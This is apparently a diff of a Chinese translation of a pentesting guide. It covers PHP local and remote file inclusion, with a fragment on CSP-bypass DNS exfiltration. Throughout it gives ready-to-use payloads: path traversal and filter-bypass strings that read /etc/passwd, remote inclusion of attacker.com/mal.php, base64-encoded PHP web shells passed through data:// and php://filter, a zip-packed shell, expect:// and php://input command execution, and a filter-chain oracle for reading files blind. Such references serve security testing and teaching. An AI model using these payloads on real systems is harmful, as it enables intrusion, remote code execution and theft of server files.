@ -714,7 +714,7 @@ p.createDataChannel("")
 | 
			
		||||
p.setLocalDescription(await p.createOffer())
 | 
			
		||||
})()
 | 
			
		||||
```
 | 
			
		||||
另一个选项:
 | 
			
		||||
另一种选择:
 | 
			
		||||
```javascript
 | 
			
		||||
var pc = new RTCPeerConnection({
 | 
			
		||||
"iceServers":[
 | 
			
		||||
@ -728,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 | 
			
		||||
```
 | 
			
		||||
### CredentialsContainer
 | 
			
		||||
 | 
			
		||||
凭证弹出窗口会向 iconURL 发送 DNS 请求,而不会受到页面的限制。它仅在安全上下文(HTTPS)或 localhost 上工作。
 | 
			
		||||
凭据弹窗向 iconURL 发送 DNS 请求,不受页面限制。它仅在安全上下文 (HTTPS) 或在 localhost 上生效。
 | 
			
		||||
```javascript
 | 
			
		||||
navigator.credentials.store(
 | 
			
		||||
new FederatedCredential({
 | 
			
		||||
@ -744,7 +744,7 @@ iconURL:"https:"+your_data+"example.com"
 | 
			
		||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
 | 
			
		||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
 | 
			
		||||
 | 
			
		||||
## 自动创建 CSP
 | 
			
		||||
## 自动生成 CSP
 | 
			
		||||
 | 
			
		||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,12 +4,12 @@
 | 
			
		||||
 | 
			
		||||
## File Inclusion
 | 
			
		||||
 | 
			
		||||
**Remote File Inclusion (RFI):** 文件从远程服务器加载(例如:你可以写入代码并由服务器执行)。在 php 中默认**禁用**(**allow_url_include**)。\
 | 
			
		||||
**Remote File Inclusion (RFI):** 该文件从远程服务器加载(优势:你可以写入代码并让服务器执行它)。在 php 中默认**禁用**(**allow_url_include**)。\
 | 
			
		||||
**Local File Inclusion (LFI):** 服务器加载本地文件。
 | 
			
		||||
 | 
			
		||||
当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。
 | 
			
		||||
当用户能以某种方式控制将被服务器加载的文件时,就会发生该漏洞。
 | 
			
		||||
 | 
			
		||||
易受攻击的 **PHP functions**: require, require_once, include, include_once
 | 
			
		||||
易受影响的 **PHP 函数**: require, require_once, include, include_once
 | 
			
		||||
 | 
			
		||||
用于利用此漏洞的一个有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 | 
			
		||||
 | 
			
		||||
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 | 
			
		||||
```
 | 
			
		||||
### **Linux**
 | 
			
		||||
 | 
			
		||||
**混合多个 *nix LFI 列表并添加更多路径,我创建了这个:**
 | 
			
		||||
**将几个 \*nix LFI 列表混合并添加更多路径后,我创建了这个:**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
也试着将 `/` 替换为 `\`\
 | 
			
		||||
也试着添加 `../../../../../`
 | 
			
		||||
还可以尝试将 `/` 改为 `\`\
 | 
			
		||||
还可以尝试添加 `../../../../../`
 | 
			
		||||
 | 
			
		||||
使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到
 | 
			
		||||
一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)找到
 | 
			
		||||
 | 
			
		||||
### **Windows**
 | 
			
		||||
 | 
			
		||||
@ -40,22 +40,22 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 | 
			
		||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
也试着将 `/` 替换为 `\`\
 | 
			
		||||
也试着移除 `C:/` 并添加 `../../../../../`
 | 
			
		||||
还可以尝试将 `/` 改为 `\`\
 | 
			
		||||
还可以尝试移除 `C:/` 并添加 `../../../../../`
 | 
			
		||||
 | 
			
		||||
使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到
 | 
			
		||||
一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在[这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)找到
 | 
			
		||||
 | 
			
		||||
### **OS X**
 | 
			
		||||
 | 
			
		||||
查看 linux 的 LFI 列表。
 | 
			
		||||
查看 Linux 的 LFI 列表。
 | 
			
		||||
 | 
			
		||||
## Basic LFI and bypasses
 | 
			
		||||
 | 
			
		||||
所有示例都针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>)。
 | 
			
		||||
所有示例均适用于 Local File Inclusion,但也可用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=../../../etc/passwd
 | 
			
		||||
```
 | 
			
		||||
### 遍历序列被非递归地移除
 | 
			
		||||
### traversal sequences 被非递归地剥离
 | 
			
		||||
```python
 | 
			
		||||
http://example.com/index.php?page=....//....//....//etc/passwd
 | 
			
		||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
 | 
			
		||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 | 
			
		||||
```
 | 
			
		||||
### **Null byte (%00)**
 | 
			
		||||
 | 
			
		||||
Bypass 在提供的字符串末尾附加更多字符 (bypass of: $\_GET\['param']."php")
 | 
			
		||||
绕过在提供的字符串末尾追加更多字符的机制(绕过:$\_GET\['param']."php")
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=../../../etc/passwd%00
 | 
			
		||||
```
 | 
			
		||||
该问题 **自 PHP 5.4 起已解决**
 | 
			
		||||
自 **PHP 5.4** 起此问题已解决
 | 
			
		||||
 | 
			
		||||
### **编码**
 | 
			
		||||
 | 
			
		||||
你可以使用非标准的编码方式,比如 double URL encode(以及其他方式):
 | 
			
		||||
你可以使用非标准的编码,比如 double URL encode(或其他方式):
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 | 
			
		||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 | 
			
		||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 | 
			
		||||
```
 | 
			
		||||
### 来自已存在的文件夹
 | 
			
		||||
 | 
			
		||||
后端可能在检查文件夹路径:
 | 
			
		||||
也许后端正在检查文件夹路径:
 | 
			
		||||
```python
 | 
			
		||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 | 
			
		||||
```
 | 
			
		||||
### 在服务器上探索文件系统目录
 | 
			
		||||
 | 
			
		||||
可以通过采用某些技术递归地探索服务器的文件系统,以识别目录(不只是文件)。该过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
 | 
			
		||||
服务器的文件系统可以通过递归方式来识别目录,而不仅仅是文件,方法是使用某些技巧。这个过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
 | 
			
		||||
 | 
			
		||||
1. **Determine Directory Depth:** 确定当前目录的深度,通过成功获取 `/etc/passwd` 文件(适用于 Linux-based 的服务器)来判断。示例 URL 可能如下所示,表示深度为三:
 | 
			
		||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于服务器为 Linux-based 的情况)。示例 URL 可能如下所示,表示深度为 3:
 | 
			
		||||
```bash
 | 
			
		||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
 | 
			
		||||
```
 | 
			
		||||
2. **探测文件夹:** 在 URL 后附加疑似文件夹名称(例如 `private`),然后导航回 `/etc/passwd`。额外的目录层级需要将 depth 增加一:
 | 
			
		||||
2. **探测文件夹:** 将怀疑的文件夹名(例如 `private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加一:
 | 
			
		||||
```bash
 | 
			
		||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 | 
			
		||||
```
 | 
			
		||||
3. **解释结果:** 服务器的响应表明该文件夹是否存在:
 | 
			
		||||
- **错误 / 无输出:** 文件夹 `private` 很可能不存在于指定位置。
 | 
			
		||||
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
 | 
			
		||||
- **错误 / 没有输出:** 文件夹 `private` 很可能在指定位置不存在。
 | 
			
		||||
- **`/etc/passwd` 的内容:** 已确认存在 `private` 文件夹。
 | 
			
		||||
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测子目录或文件。
 | 
			
		||||
 | 
			
		||||
要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),使用:
 | 
			
		||||
要探索文件系统中不同位置的目录,请相应调整 payload。 例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录处于深度 3),请使用:
 | 
			
		||||
```bash
 | 
			
		||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 | 
			
		||||
```
 | 
			
		||||
### **Path Truncation Technique**
 | 
			
		||||
 | 
			
		||||
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾附加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向所需的文件。
 | 
			
		||||
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它通常用于通过绕过在文件路径末尾追加额外字符的某些安全措施来访问受限文件。其目的是构造一个文件路径,该路径在被安全措施修改后仍然指向目标文件。
 | 
			
		||||
 | 
			
		||||
In PHP 中,由于文件系统的特性,对同一路径的不同表示通常会被视为等价。例如:
 | 
			
		||||
在 PHP 中,由于文件系统的特性,文件路径的多种表示方式可能被视为等价。例如:
 | 
			
		||||
 | 
			
		||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 和 `/etc/passwd/` 都被视为相同的路径。
 | 
			
		||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` 都被视为相同的路径。
 | 
			
		||||
- 当最后 6 个字符是 `passwd` 时,追加一个 `/`(变成 `passwd/`)并不会改变目标文件。
 | 
			
		||||
- 类似地,如果文件路径末尾包含 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 并不会改变所访问的文件。
 | 
			
		||||
- 类似地,如果在文件路径末尾附加了 `.php`(例如 `shellcode.php`),在末尾再加上 `/.` 也不会改变被访问的文件。
 | 
			
		||||
 | 
			
		||||
下面的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户帐户信息):
 | 
			
		||||
下面的示例演示了如何利用 path truncation 来访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户帐户信息):
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 | 
			
		||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
 | 
			
		||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 | 
			
		||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 | 
			
		||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 | 
			
		||||
```
 | 
			
		||||
在这些场景中,所需的遍历次数可能约为 2027,但该数字可能根据服务器的配置而变化。
 | 
			
		||||
在这些场景中,所需的遍历次数可能约为 2027,但该数字会根据服务器的配置而有所不同。
 | 
			
		||||
 | 
			
		||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
 | 
			
		||||
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
 | 
			
		||||
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
 | 
			
		||||
- **Using Dot Segments and Additional Characters**: 遍历序列(`../`)与额外的点段和字符结合,可用于在文件系统中导航,从而有效地忽略服务器附加的字符串。
 | 
			
		||||
- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确的 `../` 序列数量,以从根目录导航到 `/etc/passwd`,确保任何附加的字符串(例如 `.php`)被中和,而目标路径(`/etc/passwd`)保持不变。
 | 
			
		||||
- **Starting with a Fake Directory**: 通常会在路径开头使用一个不存在的目录(例如 `a/`)。这种做法可作为一种预防措施,或用于满足服务器路径解析逻辑的要求。
 | 
			
		||||
 | 
			
		||||
在使用路径截断技术时,理解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方案。
 | 
			
		||||
在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方式。
 | 
			
		||||
 | 
			
		||||
**此漏洞在 PHP 5.3 中已修复。**
 | 
			
		||||
**该漏洞已在 PHP 5.3 中修复。**
 | 
			
		||||
 | 
			
		||||
### **Filter bypass tricks**
 | 
			
		||||
```
 | 
			
		||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
 | 
			
		||||
```
 | 
			
		||||
## Remote File Inclusion
 | 
			
		||||
 | 
			
		||||
在 php 中默认禁用,因为 **`allow_url_include`** 为 **Off**。必须为 **On** 才能工作,这样你可以从你的服务器包含一个 PHP 文件并获得 RCE:
 | 
			
		||||
在 php 中,这在默认情况下被禁用,因为 **`allow_url_include`** 为 **Off**。必须将其设为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
 | 
			
		||||
```python
 | 
			
		||||
http://example.com/index.php?page=http://atacker.com/mal.php
 | 
			
		||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
 | 
			
		||||
```
 | 
			
		||||
如果因为某些原因 **`allow_url_include`** 是 **On**,但 PHP 正在 **filtering** 外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议配合 base64 来解码 b64 PHP 代码并获得 RCE:
 | 
			
		||||
如果由于某种原因 **`allow_url_include`** 为 **On**,但 PHP 正在**过滤**对外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议结合 base64 来解码 b64 PHP 代码并获得 RCE:
 | 
			
		||||
```
 | 
			
		||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 | 
			
		||||
```
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 在前面的代码中,最后的 `+.txt` 是被加入的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,经过 b64 decode 后该部分将只是一些垃圾,而真正的 PHP 代码会被包含(因此被执行)。
 | 
			
		||||
> 在前面的代码中,最后的 `+.txt` 是被添加上的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,并且在 b64 解码后那部分将只会返回一些垃圾,而真实的 PHP 代码会被包含(因此被执行)。
 | 
			
		||||
 | 
			
		||||
另一个示例 **不使用 `php://` 协议** 会是:
 | 
			
		||||
另一个**不使用 `php://` 协议**的例子如下:
 | 
			
		||||
```
 | 
			
		||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 | 
			
		||||
```
 | 
			
		||||
## Python 根元素
 | 
			
		||||
 | 
			
		||||
在 Python 中,像下面这样的代码:
 | 
			
		||||
在 python 中,像下面这样的代码:
 | 
			
		||||
```python
 | 
			
		||||
# file_name is controlled by a user
 | 
			
		||||
os.path.join(os.getcwd(), "public", file_name)
 | 
			
		||||
```
 | 
			
		||||
如果用户将 **绝对路径** 传递给 **`file_name`**,则 **之前的路径会被移除**:
 | 
			
		||||
如果用户传递了一个**绝对路径**到**`file_name`**,则**之前的路径会被移除**:
 | 
			
		||||
```python
 | 
			
		||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
 | 
			
		||||
'/etc/passwd'
 | 
			
		||||
```
 | 
			
		||||
这是根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) 的预期行为:
 | 
			
		||||
根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) 的说明,这是预期的行为:
 | 
			
		||||
 | 
			
		||||
> 如果某个组件是绝对路径,所有先前的组件都会被丢弃,连接将从绝对路径组件继续。
 | 
			
		||||
> 如果某个组件是绝对路径,则会丢弃所有先前的组件,并从该绝对路径组件继续进行连接。
 | 
			
		||||
 | 
			
		||||
## Java 列出目录
 | 
			
		||||
 | 
			
		||||
看起来如果在 Java 中存在 Path Traversal,并且你 **请求一个目录** 而不是文件,**将返回该目录的列表**。据我所知,这在其他语言中不会发生。
 | 
			
		||||
看起来如果在 Java 中存在 Path Traversal 并且你 **请求一个目录** 而不是文件,返回的将是该目录的 **目录列表**。据我所知,这在其他语言中不会发生。
 | 
			
		||||
 | 
			
		||||
## Top 25 参数
 | 
			
		||||
## 前25个参数
 | 
			
		||||
 | 
			
		||||
下面是可能易受 local file inclusion (LFI) 漏洞影响的前 25 个参数列表 (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 | 
			
		||||
以下是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 | 
			
		||||
```
 | 
			
		||||
?cat={payload}
 | 
			
		||||
?dir={payload}
 | 
			
		||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
 | 
			
		||||
?mod={payload}
 | 
			
		||||
?conf={payload}
 | 
			
		||||
```
 | 
			
		||||
## LFI / RFI using PHP wrappers & protocols
 | 
			
		||||
## LFI / RFI 使用 PHP wrappers & protocols
 | 
			
		||||
 | 
			
		||||
### php://filter
 | 
			
		||||
 | 
			
		||||
PHP filters 允许在读取或写入数据之前执行基本的**数据修改操作**。有 5 类过滤器:
 | 
			
		||||
PHP filters allow perform basic **修改操作** on the data before being it's read or written. There are 5 categories of filters:
 | 
			
		||||
 | 
			
		||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
 | 
			
		||||
- `string.rot13`
 | 
			
		||||
- `string.toupper`
 | 
			
		||||
- `string.tolower`
 | 
			
		||||
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
 | 
			
		||||
- `string.strip_tags`: 从数据中移除标签(位于 "<" 与 ">" 字符之间的内容)
 | 
			
		||||
- Note that this filter has disappear from the modern versions of PHP
 | 
			
		||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 | 
			
		||||
- `convert.base64-encode`
 | 
			
		||||
- `convert.base64-decode`
 | 
			
		||||
- `convert.quoted-printable-encode`
 | 
			
		||||
- `convert.quoted-printable-decode`
 | 
			
		||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
 | 
			
		||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`)。要获取支持的**所有编码列表**,在控制台运行:`iconv -l`
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这对于写入任意文本或让类似 include 的函数处理任意文本可能很有用。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 | 
			
		||||
> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这可用于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 | 
			
		||||
 | 
			
		||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
 | 
			
		||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
 | 
			
		||||
- `zlib.inflate`: Decompress the data
 | 
			
		||||
- `zlib.deflate`: 压缩内容(当需要外传大量信息时有用)
 | 
			
		||||
- `zlib.inflate`: 解压数据
 | 
			
		||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
 | 
			
		||||
- `mcrypt.*` : Deprecated
 | 
			
		||||
- `mdecrypt.*` : Deprecated
 | 
			
		||||
- `mcrypt.*` : 已弃用
 | 
			
		||||
- `mdecrypt.*` : 已弃用
 | 
			
		||||
- Other Filters
 | 
			
		||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些**意外的过滤器**:
 | 
			
		||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以发现一些**意外的过滤器**:
 | 
			
		||||
- `consumed`
 | 
			
		||||
- `dechunk`: 反转 HTTP 分块编码
 | 
			
		||||
- `dechunk`: 还原 HTTP chunked 编码
 | 
			
		||||
- `convert.*`
 | 
			
		||||
```php
 | 
			
		||||
# String Filters
 | 
			
		||||
@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> 部分 "php://filter" 不区分大小写
 | 
			
		||||
 | 
			
		||||
### 使用 php filters 作为 oracle 来读取任意文件
 | 
			
		||||
### 使用 php filters 作为 oracle 读取任意文件
 | 
			
		||||
 | 
			
		||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种技术,可以在服务器不直接返回输出的情况下读取本地文件。该技术基于使用 php filters 作为 oracle 的 **boolean exfiltration (char by char)**。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。
 | 
			
		||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在服务器不返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 的**布尔式外泄(逐字符)**。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。
 | 
			
		||||
 | 
			
		||||
原文中有对此技术的详细解释,这里给出快速总结:
 | 
			
		||||
在原文中可以找到该技术的详细解释,但这里是快速摘要:
 | 
			
		||||
 | 
			
		||||
- 使用 codec **`UCS-4LE`** 将文本的首字符放在开头,并使字符串大小呈指数增长。
 | 
			
		||||
- 当猜测到首字母正确时,这会被用来生成一个足够大的文本,从而触发 php 的 **error**。
 | 
			
		||||
- **dechunk** filter 会在首字符不是十六进制时 **删除所有内容**,因此我们可以判断首字符是否为十六进制。
 | 
			
		||||
- 将此与前者结合(以及根据猜测字母使用的其他 filters),可以通过观察在进行足够多的转换后何时其不再是十六进制字符来猜出文本首字母。如果是十六进制,dechunk 不会删除它,而初始的“炸弹”会导致 php 报错。
 | 
			
		||||
- codec **convert.iconv.UNICODE.CP930** 会将每个字母变为其后继字母(所以经过此 codec 之后:a -> b)。这能让我们判断首字母是否为 `a`,例如如果我们应用 6 次该 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,从而 dechunk 不会删除它,且由于与初始“炸弹”相乘会触发 php error。
 | 
			
		||||
- 使用像 **rot13** 这样的初始变换可以 leak 其他字符,例如 n, o, p, q, r(也可以用其他 codecs 将其他字母移入十六进制范围)。
 | 
			
		||||
- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字母以推断该数字。
 | 
			
		||||
- 最终的问题是如何 leak 超过首字母的内容。通过使用改变字节顺序的 filters(例如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**)可以改变字符的顺序,从而将文本中的其他字母移动到首位。
 | 
			
		||||
- 为了能够获取更多数据,思路是使用 **convert.iconv.UTF16.UTF16** 在开头生成 2 字节的垃圾数据,应用 **UCS-4LE** 使其与接下来的 2 字节发生 **pivot**,然后 d**elete the data until the junk data**(这会移除原始文本的前 2 个字节)。重复此过程直到到达要 leak 的目标位。
 | 
			
		||||
- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头并使字符串长度呈指数增长。
 | 
			
		||||
- 这将用于生成一个**当首字母被猜对时变得非常大的文本**,从而使 php 触发 **错误**。
 | 
			
		||||
- **dechunk** filter 会在**首字符不是十六进制时删除所有内容**,因此我们可以判断首字符是否为十六进制。
 | 
			
		||||
- 将此与前者(以及根据猜测字母使用的其他 filters)结合,可以通过观察何时对文本进行足够的转换以使其不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始“炸弹”会使 php 报错。
 | 
			
		||||
- codec **convert.iconv.UNICODE.CP930** 会将每个字母转换为下一个字母(例如经过该 codec 后:a -> b)。这使我们能够确认首字母是否为 `a`,例如如果我们连续应用 6 次该 codec,a->b->c->d->e->f->g,那么该字母就不再是十六进制字符,因此 dechunk 不会删除它,并且由于与初始“炸弹”相乘,会触发 php 错误。
 | 
			
		||||
- 在开始时使用其他转换(如 **rot13**)可以 leak 其他 chars,比如 n、o、p、q、r(其他 codecs 也可用于将其它字母移动到十六进制范围)。
 | 
			
		||||
- 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母来 leak 该数字。
 | 
			
		||||
- 最终的问题是如何 **leak 超过初始字母**。通过使用顺序内存 filters,比如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**,可以改变字符顺序并将文本中的其他字母移到首位。
 | 
			
		||||
- 为了能够获取 **进一步的数据**,思路是使用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,应用 **UCS-4LE** 使其与接下来的 2 字节 **pivot**,并 **删除数据直到垃圾数据为止**(这会删除初始文本的前 2 字节)。重复此过程直到到达要 leak 的位。
 | 
			
		||||
 | 
			
		||||
文章中还公开了一个用于自动执行该操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
 | 
			
		||||
在文章中还 leak 了一个用于自动执行该操作的工具: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
 | 
			
		||||
 | 
			
		||||
### php://fd
 | 
			
		||||
 | 
			
		||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
 | 
			
		||||
该 wrapper 允许访问进程已打开的文件描述符。可能有助于外泄已打开文件的内容:
 | 
			
		||||
```php
 | 
			
		||||
echo file_get_contents("php://fd/3");
 | 
			
		||||
$myfile = fopen("/etc/passwd", "r");
 | 
			
		||||
```
 | 
			
		||||
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中有何用处)
 | 
			
		||||
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0、1 和 2**(不确定这在攻击中如何有用)
 | 
			
		||||
 | 
			
		||||
### zip:// and rar://
 | 
			
		||||
 | 
			
		||||
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
 | 
			
		||||
要能够滥用 rar 协议,它**需要被专门启用**。
 | 
			
		||||
为了能够滥用 rar 协议,它**需要被专门启用**。
 | 
			
		||||
```bash
 | 
			
		||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 | 
			
		||||
zip payload.zip payload.php;
 | 
			
		||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 | 
			
		||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 | 
			
		||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 | 
			
		||||
```
 | 
			
		||||
请注意,该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
 | 
			
		||||
注意:此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 限制
 | 
			
		||||
 | 
			
		||||
### expect://
 | 
			
		||||
 | 
			
		||||
Expect 必须启用。你可以使用以下方式执行代码:
 | 
			
		||||
Expect 必须被启用。你可以使用以下方式执行代码:
 | 
			
		||||
```
 | 
			
		||||
http://example.com/index.php?page=expect://id
 | 
			
		||||
http://example.com/index.php?page=expect://ls
 | 
			
		||||
```
 | 
			
		||||
### input://
 | 
			
		||||
 | 
			
		||||
在 POST 参数中指定 payload:
 | 
			
		||||
在 POST 参数中指定你的 payload:
 | 
			
		||||
```bash
 | 
			
		||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 | 
			
		||||
```
 | 
			
		||||
### phar://
 | 
			
		||||
 | 
			
		||||
当 web 应用使用诸如 `include` 之类的用于加载文件的函数时,可以利用 `.phar` 文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
 | 
			
